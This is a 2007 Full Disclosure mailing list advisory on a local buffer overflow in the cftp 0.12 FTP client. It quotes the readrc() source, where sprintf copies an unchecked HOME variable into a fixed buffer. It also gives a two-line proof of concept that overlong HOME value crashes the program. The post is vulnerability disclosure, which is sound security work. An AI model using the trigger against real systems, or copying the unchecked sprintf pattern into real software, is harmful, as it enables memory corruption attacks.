Home page logo
/

fulldisclosure logo Full Disclosure mailing list archives

cftp 0.12 (readrc) Local buffer overflow vulnerability
From: starcadi <starcadi () gmail com>
Date: Mon, 19 Mar 2007 22:52:13 +0100

Description:

CFTP is Comfortable FTP, a full screen ftp client.
Supported are FTP both with active and passive data connections,
IPv4 and IPv6, and SFTP (a file transfer protocol using SSH for
authorization and connection encryption).
Found local buffer overflow in readrc() with sprintf() with no
sizelen control.
source: http://ftp.giga.or.at/pub/nih/cftp/

Source error:

int
readrc(char **userp, char **passp, char **hostp, char **portp, char **wdirp,
       int check_alias)
{
    FILE *f;
    char b[8192], *p, *tok, *q, *home;
    char *user, *pass, *host, *port, *wdir;

    if ((home=getenv("HOME")) == NULL)
        home = "";
    sprintf(b, "%s/.cftprc", home);

    if ((f=fopen(b, "r")) == NULL) {
        if (errno == ENOENT)
            return 0;
        return -1;
    }
    [..]
}

error in sprintf(), no sizelen control in getenv().

Proof of concept:

$ export HOME=`perl -e "print 'A'x8200"`
$ cftp
Segmentation fault
$

-- 
.original http://intel.shacknet.nu/
~ starcadi

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault